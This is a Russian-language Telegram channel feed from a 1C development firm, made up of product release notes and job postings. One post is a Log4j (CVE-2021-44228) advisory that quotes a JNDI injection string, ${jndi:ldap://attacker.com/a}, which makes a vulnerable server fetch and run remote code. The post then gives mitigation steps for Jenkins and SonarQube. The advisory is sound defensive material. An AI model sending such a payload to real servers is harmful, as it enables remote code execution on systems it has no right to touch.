SilverBulleter's, LLC
1.05K subscribers
154 photos
1 video
4 files
175 links
Официальный канал команды "Серебряная Пуля", www.silverbulleters.org

Чат для общения сообщества https://t.me/silvernation
Download Telegram
🛠 Знакомство с КафкаКоннектор версии 1.0

"Мы строили, строили и наконец построили. Ура!" (с)

Этап R&D закончился и мы готовы представить нашу новую подсистему - КафкаКоннектор. Эта подсистема 1С предназначена для быстрой организации обмена между 1С + 1С / ЧтоТо, используя распределенный брокер сообщений Apache Kafka. Взаимодействие с брокером сообщений организовано с помощью внешней нативной компоненты "Apache Kafka для платформы 1С".

При создании подсистемы мы хотели решить важную задачу - снизить затраты на настройку интеграции у наших пользователей. Теперь в самых простых случаях достаточно мышкой настроить поток данных для обмена между информационными системами.

Пара примеров интерфейса:
* настройка подключения к кластеру Kafka
* настройка синхронизации объекта и его "схема"

Почему за основу транспорта сообщений выбран именно Apache Kafka?

* возможность хранения сообщений после их получения;
* тонкая настройка под каждый поток данных;
* масштабирование из "коробки";
* высокая пропускная способность.

Сейчас в подсистеме есть:

* регистрация объектов для обмена (справочники, документы, записи регистров);
* построение схем данных по выбранным объектам обмена;
* автоматический обмен и обновление схем данных;
* настройка регламентных заданий отправки/получения;
* ведение журнала отправленных/полученных сообщений.

В планах на следующие релизы:

* поддержка Avro формата;
* кастомное создание topic прямо из 1С;
* поставка подсистемы в виде расширения (регламентные задания тоже будут работать 😉 );
* интеграции из "коробки":
* версионирование истории изменения объектов;
* логирование.
* мониторинг через Zabbix / Prometheus.

❗️По всем вопросам пишите нам на b2b@silverbulleters.org или в Intercom на нашем сайте.

P.S. А сколько вы тратите времени на внедрение обмена данными? 🧐
💼 Разыскивается младший релиз-инженер

Полная занятость, полный день
Удаленная работа / работа в офисе
Зарплатная "вилка": ₽110-160 тыс.

❗️В нашу "не типичную" команду мы ищем младшего релиз-инженера. Тебе, наш дорогой друг, придется автоматизировать все, что "движется", а все, что не "движется" - толкать и тоже автоматизировать. А теперь более подробно😉.

С чем придется работать

* Jenkins
* GitLab / GitLab CI
* OneScript
* Groovy
* Docker
* SonarQube

Как вы будете делать мир лучше

* участвовать в постоянном улучшении CI/CD;
* автоматизировать текущие процессы;
* взаимодействовать с разработкой в рамках подготовки релизов;
* участвовать в проектах внедрения инженерных практик 1С.

Мы ожидаем у вас

* опыт разработки на платформе 1С от 2-х лет;
* опыт разработки хотя бы на одном из языков Java / Groovy / Kotlin / TypeScript от 1 года (в OpenSource считается);
* уверенное владение git, командной строкой, bash / PowerShell;
* умение разбираться в чужом и своем коде;
* владение английским языком на уровне чтения технической документации.

Будет круто, если вы

* понимаете принципы CI/CD;
* уверенный пользователь Linux / Windows;
* разрабатываете на OneScript;
* следите за актуальными возможностями и способами применения инструментария разработки на стеке 1С.

Вам у нас понравится

* белая зарплата;
* удаленно или в удобном офисе в центре Москвы (5 минут от м. Фрунзенская);
* работа в команде «гиков»;
* график работы 5/2 (с 9:00 до 18:00 или с 10:00 до 19:00);
* испытательный срок 3 месяца.

✉️ Резюме отправлять на hr@silverbulleters.org
⚙️ Релиз 2021.7 плагина 1C (BSL) Plugin для SonarQube

Настал первый месяц зимы, но новый релиз под номером 2021.7 плагина не даст вам "замерзнуть".

Что нового?

➡️ Теперь в плагине реализовано ровно 300 нативных проверок качества ⚡️

➡️ Выпустили 10 новых правил проверки кода. Среди них проверки Вызов несуществующего метода объекта (NonExistentMethod) и Проверка существования метаданных в коде (VerifyMetadata), которые на максимум используют текущий контекст анализа (метаданные, контекст платформы, контекст модуля).

➡️ Перевели из статуса beta в stable 14 проверок.


Как всегда полный перечень изменений смотреть
здесь ➜ 📄История релизов.
❗️Уязвимость в библиотеке Log4j в экосистеме Java

Думаю многие, как и мы привыкли в стеке разработки использовать такие сервисы как Jenkins и SonarQube. Эти приложения написаны на языке Java и могут быть подвержены уязвимости CVE-2021-44228, исходящей от библиотеки Log4j версии 2.

Проблема вызвана тем, что Log4j2 поддерживает обработку специальных масок "{}" в выводимых в лог строках, в которых могли выполняться запросы JNDI (Java Naming and Directory Interface). Атака сводится к передаче строки с подстановкой ${jndi:ldap://attacker.com/a}, при обработке которой Log4j 2 отправит на сервер attacker.com LDAP-запрос пути к Java-классу. Возвращённый сервером атакующего путь (например, http://second-stage.attacker.com/Exploit.class) будет загружен и выполнен в контексте текущего процесса, что позволяет атакующему добиться выполнения произвольного кода в системе с правами текущего приложения (информация взята из источника).

Как себя обезопасить?🤔

⚙️Jenkins

В Jenkins Core эта библиотека не используется, но не исключает ее наличие в плагинах. Для проверки наличия уязвимости вам нужно зайти в Консоль сценариев (Настроить Jenkins -> Управление средами сборки -> узел master или built-in -> Консоль сценариев) и выполнить скрипт:

org.apache.logging.log4j.core.lookup.JndiLookup.class.protectionDomain.codeSource

Если выполнение скрипта привело к ошибке вида groovy.lang.MissingPropertyException: No such property: org for class: Script1, то библиотека Log4j2 в плагинах не используется.

Но если будет выведен путь и имя плагина, где все же используется библиотека, вам нужно будет удалить этот плагин, перезапустить сервис Jenkins и повторно выполнить скрипт в Консоли сценариев.

Официальный источник информации: Apache Log4j 2 vulnerability CVE-2021-44228.

⚙️SonarQube

Что касается сервиса SonarQube, то библиотека используется только в модуле ElasticSearch. Чтобы обезопасить сервис, нужно в конфигурационный файл SonarQube или переменную среды добавить -Dlog4j2.formatMsgNoLookups=true.

В конфигурационном файле sonar.properties нужно добавить или изменить настройку sonar.search.javaAdditionalOpts, например:

sonar.search.javaAdditionalOpts=-Dlog4j2.formatMsgNoLookups=true

Или через переменную среды в системе, контейнере и т.п:

SONAR_SEARCH_JAVAADDITIONALOPTS=-Dlog4j2.formatMsgNoLookups=true

После указания настройки нужно перезапустить сервис SonarQube.

Официальный источник информации: SonarQube and the Log4J vulnerability.
⚙️ Релиз 2.1.0 библиотеки Vanessa.Usher для Jenkins

Что нового?

* синхронизация релизов 1С в git-репозиторий с помощью приложения yard;
* загрузка расширений из исходного кода в тестовую базу;
* проверка расширений в этапе syntax-check;
* обновление базы из хранилища 1С версией из файла VERSION;
* добавлена возможность указать агента для чтения конфигурационного файла;
* чтение конфигурационного файла без дополнительного клонирования (только для GitLab проектов);
* добавлена возможность использовать временную базу в этапе gitsync;
* добавлена возможность указать каталог временных файлов в этапе gitsync.

Прочие изменения

* добавлено логирование;
* исправлены опечатки.
💼 Разыскивается IT-журналист с опытом рерайтинга / копирайтинга

Полная занятость, полный день
Удаленная работа / работа в офисе
Зарплатная "вилка": ₽50 - 90 тыс.

В нашу "не типичную" команду мы ищем IT-журналиста с опытом рерайтинга / копирайтинга. Тебе, наш будущий коллега, придется работать с тематикой IT и освещать все что связано с "1С:Предприятие" и около него.

Важно: нужно будет сделать тестовое задание (по времени не больше 1 час).

Как вы будете делать мир лучше

* писать статьи, тексты для landing / посадочных страниц
* рерайтить тексты
* вычитывать тексты (посты, статьи, материалы IT-курсов)

Мы ожидаем у вас

* опыт работы it-журналистом от 1 - 3 лет
* опыт рерайтинга / копирайтинга
* уровень английского языка B1 или выше

Будет круто, если вы

* знакомы с техническим английским
* работали с "1С:Предприятие 8"
* уверенный пользователь Linux / Windows

Вам у нас понравится

* белая зарплата;
* удаленно или в удобном офисе в центре Москвы (5 минут от м. Фрунзенская);
* работа в команде «гиков»;
* свободный график, нам важен результат;
* испытательный срок 3 месяца.

Резюме отправлять на hr@silverbulleters.org
Представляем новый релиз нашего плагина.

В этом релизе мы значительно переворошили стандартные профили качества. На что стоит обратить внимание: часть проверок теперь не принадлежит никакому из стандартных профилей (даже максимальному). Больше всех "пострадал" максимальный профиль, из которого были исключено больше всего проверок. Рекомендуемый профиль остался почти неизменным, минимальный профиль был расширен новыми проверками.
Зачем мы так сделали?

Некоторые проверки находят замечания которые нельзя однозначно интерпретировать как ошибки, и по сути зависят от принятых на проекте соглашениям по написанию кода. Например, проверка "Общий модуль с повторно используемыми значениями должен именоваться с постфиксом "ПовтИсп"". Стандарты разработки 1С требуют использования одних суффиксов, однако на проектах зачастую могут использоваться другие "стандартные" суффиксы или даже префиксы. От использования других суффиксов код не становится ошибочным. Поэтому данная проверка не включена ни в один из профилей качества.

Таким образом, при подключении статического анализа на вашем проекте, мы рекомендуем скопировать стандартный профиль + вручную добавить необходимые проверки относящиеся к принятым на проекте соглашениям о написании кода.

В остальном всё как обычно, сделали новые проверки, исправили старые ошибки. С перечнем изменений можно ознакомиться здесь
🛠 Релиз v1.3.0.0 внешней компоненты Apache Kafka для платформы 1С

Что нового?

- Появилась возможность вручную управлять доставкой сообщений на брокер.
- У класса ПолучательСообщений появились новые свойства:
- СмещениеПоследнегоСообщения
- РазделПоследнегоСообщения
- ИдБрокераПоследнегоСообщения
- ИмяТемыПоследнегоСообщения

Хотите знать больше о компоненте? Вам 👉 сюда
С релизом плагина 2021.3 мы добавили новые умные проверки, вроде "Функция должна заканчиваться возвратом". Она прекрасна работала в обычных условиях, но пасовала перед кодом содержащем инструкции препроцессора, например:

Функция Тест()
#Если ВебКлиент Тогда
Возврат Истина;
#Иначе
Возврат Ложь;
#КонецЕсли
КонецФункции

Пример выше представляет собой абсолютно валидный код, если рассматривать его в разрезе контекстов выполнения. Однако, наш плагин рассматривал его "целиком" и считая, что функция содержит два оператора "Возврат" подряд, выдавал ложно положительные замечания.

Данную проблему можно было решить существующими инструментами, однако в будущем могли возникнуть новые проблемы. Поэтому мы решили подойти к вопросу радикально и написать свой препроцессор языка 1С.

Так как язык препроцессора содержит фиксированный набор инструкций, мы можем самостоятельно рассчитать любое его выражение и сгенерировать "чистый" код на 1С. Как это работает? Наша библиотека на вход получает список возможных контекстов выполнения кода. Список контекстов аналогичен тому, как вы настраиваете их в конфигураторе. Например, это тонкий клиент, веб клиент и сервер.

После чего препроцессор делает расчет всех инструкций препроцессора и генерирует код в разрезе контекстов выполнения. Так, если взять пример выше, то для веб-клиента сгенерируется следующий код:

Функция Тест()
Возврат Истина;
КонецФункции

Получившийся результат не содержит никаких инструкций (даже #Область) и может быть использован для дальнейшего анализа.

Так как мы любим опенсорс, библиотека была выложена в открытый доступ. Вы можете свободно использовать, модифицировать и распространять её согласно указанной лицензии. Дополнительно, она может использоваться не только как препроцессор, но и в качестве инструмента для анализа самих инструкций, например, для определения что выражения препроцессора всегда ложно.

После стабилизации API мы планируем внедрить данный механизм в плагин SonarQube, что сделает более умными новые проверки и снимет некоторые ограничения у старых.
⚙️ Релиз 2.2.0 библиотеки Vanessa.Usher для Jenkins

Что нового?

* Переход на декларативные pipline-s
* Добавлена возможность указать путь к xUnit в этапах smoke, tdd
* Добавлена возможность указать путь к vanessa-automation или add в этапе bdd
* Добавлена возможность указать путь к настройкам vanessa-automation или add в этапе bdd

Прочие изменения

* Исправлена ошибка авторизации на этапе gitsync
* Исправлены опечатки
* Добавлена начальная документация
* Скорректированы описания полей схемы JSON для конфигурационных файлах
⚙️ Релиз 2022.2 плагина 1C (BSL) Plugin для SonarQube

Приближаются майские праздники, значит, пора выпустить релиз и с чистой совестью ехать на шашлыки.
Что интересного в новом релизе?

Мы разработали собственный препроцессор языка 1С и добавили его поддержку в плагин. Сам препроцессор выложен в открытый доступ для всех желающих.

Это очень важный шаг на пути к более точному анализу конфигурации. Использование препроцессора позволит проверять программные модули так, как это делает сама платформа.

Переработали с нуля 9 старых правил, проверяющих программные области, и теперь вместо тяжелых расчетов "на лету" данные проверки используют заранее построенные деревья разбора.
На некоторых конфигурациях анализ стал быстрее. Выигрыш в производительности зависит от средних размеров программных модулей в вашей конфигурации, но в целом анализ должен стать быстрее.

Ну и конечно, добавили 5 новых проверок, куда уж без них.

Историю релизов плагина и список новых правил можно посмотреть на сайте с документацией.
💼 Ищем коллегу на позицию - Программист Java

Требуемый опыт работы: 1–3 года
Полная занятость, полный день
Удаленная работа / работа в офисе

Обязаности:
* Участие в развитии плагина синтаксического анализа кода 1С для SonarQube;
* Разработка программных продуктов на Java;
* Тестирование реализованной функциональности посредством методик TDD/BDD;

Требования:
* Опыт разработки на платформе 1С 8.x от 2 лет;
* Опыт разработки на Java 11 и выше от 1 года;
* Уверенное знание Java Core, базовое знание системы сборки Gradle;
* Умение работать в команде;
* Умение планировать свое время и всегда доводить работу до конца;
* Увлеченность работой;
* Готовность на старте впитывать большой массив знаний по используемым технологиям;

Будет преимуществом:
* Опыт разработки на OneScript, OneScript.Web;
* Понимание принципов CI/CD;
* Умение читать англоязычную техническую документацию.

Условия:
* Белая заработная плата;
* Удаленно или в удобном офисе в центре Москвы у м. Фрунзенская;
* График работы 5/2 ( с 9:00 до 18:00 или с 10:00 до 19:00);
* Испытательный срок 3 месяца.

Резюме отправляем на hr@silverbulleters.org
⚙️ Релиз 2.3.0 библиотеки Vanessa.Usher для Jenkins

Что нового?

* Добавлен новый этап в сборочную линию runExternal
* Добавлен новый этап в сборочную линию checkExtensions
* Добавлена возможность оповещения в Telegram

Прочие изменения

* Исправлена ошибка использования Jenkins credential в этапах prepareBase, smoke
* Обновлена документация
* Исправлены опечатки
⚙️ Релиз 2022.3 плагина 1C (BSL) Plugin для SonarQube

Добавлена возможность исключать из проверки код в расширениях с помощью нового параметра sonar.bsl.skipVendorCodeInChangeAndValidate.
При включении данной опции, в методах с аннотацией ИзменениеИКонтроль будут автоматически пропускаться замечания найденные вне директив Вставка-КонецВставки.

При использовании пустого профиля качества плагин теперь не будет начинать полноценный анализ исходных файлов.

Добавлены 3 новых проверки, описание которых можно найти на сайте с документацией.
⚙️ Релиз 2022.4 плагина 1C (BSL) Plugin для SonarQube

Обновлена библиотека mdclasses до версии 0.10, благодаря чему в проверки метаданных включены новые виды объектов метаданных.

Добавлено 6 новых правил, 2 правила доработаны. Например, новая гибко настраиваемая проверка Бесполезные скобки в выражениях укажет на лишние скобки в выражениях в соответствии с приоритетами операций (и не только в выражениях, но и в параметрах вызовов и в управляющих конструкциях). Проверка Запрет использования модулей, защищенных паролем найдет все зашифрованные модули в конфигурации, в том числе и в формате EDT.

Полное описание правил опубликовано на сайте с документацией:
🆕 Перенос арифметических выражений
🆕 Перенос логических выражений
🆕 Устаревшие синхронные методы объекта HTTPСоединение
🆕 Бесполезные скобки в выражениях
🆕 Использование "ё" в метаданных
🆕 Обязательные роли не являются основными
🆙 Запрет использования модулей, защищенных паролем
🆙 Неверный синтаксис 1С
🛠 Релиз 1.1.0 подсистемы Кафка-Коннектор

Общее
* Добавлена возможность задать произвольный алгоритм для формирования схем данных и сообщений обмена.
* Исправлена ошибка обработки полей с типом "УникальныйИдентификатор".
* Ускорена сериализация/десериализация полей с типом "ХранилищеЗначения".

Объекты обмена
* Добавлена возможность использования разных схем для одного и того же объекта обмена. Это может быть удобно при необходимости отправлять в разные топики различный набор данных.

Схемы данных
* Добавлена возможность выбора реквизитов, участвующих в обмене.
* Добавлена возможность формирования схем по структуре, заданной пользователем. Структура содержит описание типов для реквизитов объекта и колонок табличных частей.

Сообщения обмена
* Добавлена возможность формирования сообщений по структуре, заданной пользователем. Структура содержит данные реквизитов и табличных частей объекта.
⚙️ Выпущен релиз 0.1.2 плагина SilverLint для EDT

🆙 Оптимизирована работа плагина с хранилищем настроек Eclipse.

🆕 Реализовано логирование в API Eclipse: изменение настроек и ошибки плагина регистрируются в Протокол ошибок EDT.

🆕 Реализована регистрация событий плагина в протокол ошибок: регистрируются изменения настроек плагина и возникающие ошибки, в т.ч. ошибки соединения, проблемы авторизации, ошибки подключения к проекту по ключу. Примеры сообщений приведены на скриншоте под этой новостью.

ℹ️ ВНИМАНИЕ Не все ошибки в работе плагина критичны, мы намеренно их не фильтруем. К журналу стоит обращаться для расследования проблем. Например, при отсутствии соединения с SonarQube по журналу видно на каком этапе происходит отказ.

Инструкция по установке SilverLint для EDT опубликована на сайте с документацией.

#SilverLintEDT #BSLPlugin
⚙️ Релиз 2022.5 плагина 1C (BSL) Plugin для SonarQube

Обновлена библиотека mdclasses до версии 0.10.2, проведена полная инвентаризация маппинга объектов метаданных - все, что было забыто, включено в проверки метаданных.

Добавлено 3 новых правила, 2 правила доработаны. Новое правило Имя функции начинается с глагола найдет в коде функции с именами, начинающимися с Получить<...> или Добавить<...>. Список запрещенных глаголов настраивается в параметрах правила.

Полное описание правил опубликовано на сайте с документацией:
🆕 Безумные многострочные литералы
🆕 Перенос параметров процедур, функций и методов
🆕 Имя функции начинается с глагола
🆙 Переменные должны содержать описание
🆙 Экспортные переменные должны содержать описание
⚙️ Релиз 2022.6 плагина 1C (BSL) Plugin для SonarQube

Модули, защищенные паролем, пропускаются при построении контекста конфигурации и не инициируют ошибки разбора кода.

🆕 Добавлен расчет сводного контекста метаданных: если в папке с анализируемым кодом содержится больше одной конфигурации (и/или расширения), по всем ним строится сводный объединенный контекст объектов метаданных.
Расчет сводного контекста отключается параметром sonar.bsl.denyCumulativeContextComputation.

ℹ️ Теперь в правилах, проверяющих существование объектов метаданных, можно включить использование сводного контекста. Это, например, уберет ложные срабатывания, если в коде расширения используются объекты, существующие только в основной конфигурации.

В правила, работающие с контекстом метаданных, добавлен параметр, включающий использование сводного контекста:
🆙 Проверка существования метаданных в коде
🆙 Проверка существования метаданных в текстах запросов
🆙 Обращение к несуществующему значению перечисления
⚙️ Релиз 2022.7 плагина 1C (BSL) Plugin для SonarQube

Обновлена библиотека mdclasses до версии 0.10.3 (но свойств в нашей версии парсится по прежнему чуть больше).

🆕 Реализован новый механизм экранирования кода от проверок. Прежний формат поглощающих комментариев поддерживается в полном объеме, но теперь механизм работает быстрее и настраивается намного гибче. Добавлена возможность отключать проверки на участки кода, отключать или включать одним комментарием несколько проверок, включать одним комментарием все ранее установленные проверки. Подробнее в документации.

Добавлен параметр, включающий использование сводного контекста:
🆙 Обращение к несуществующей роли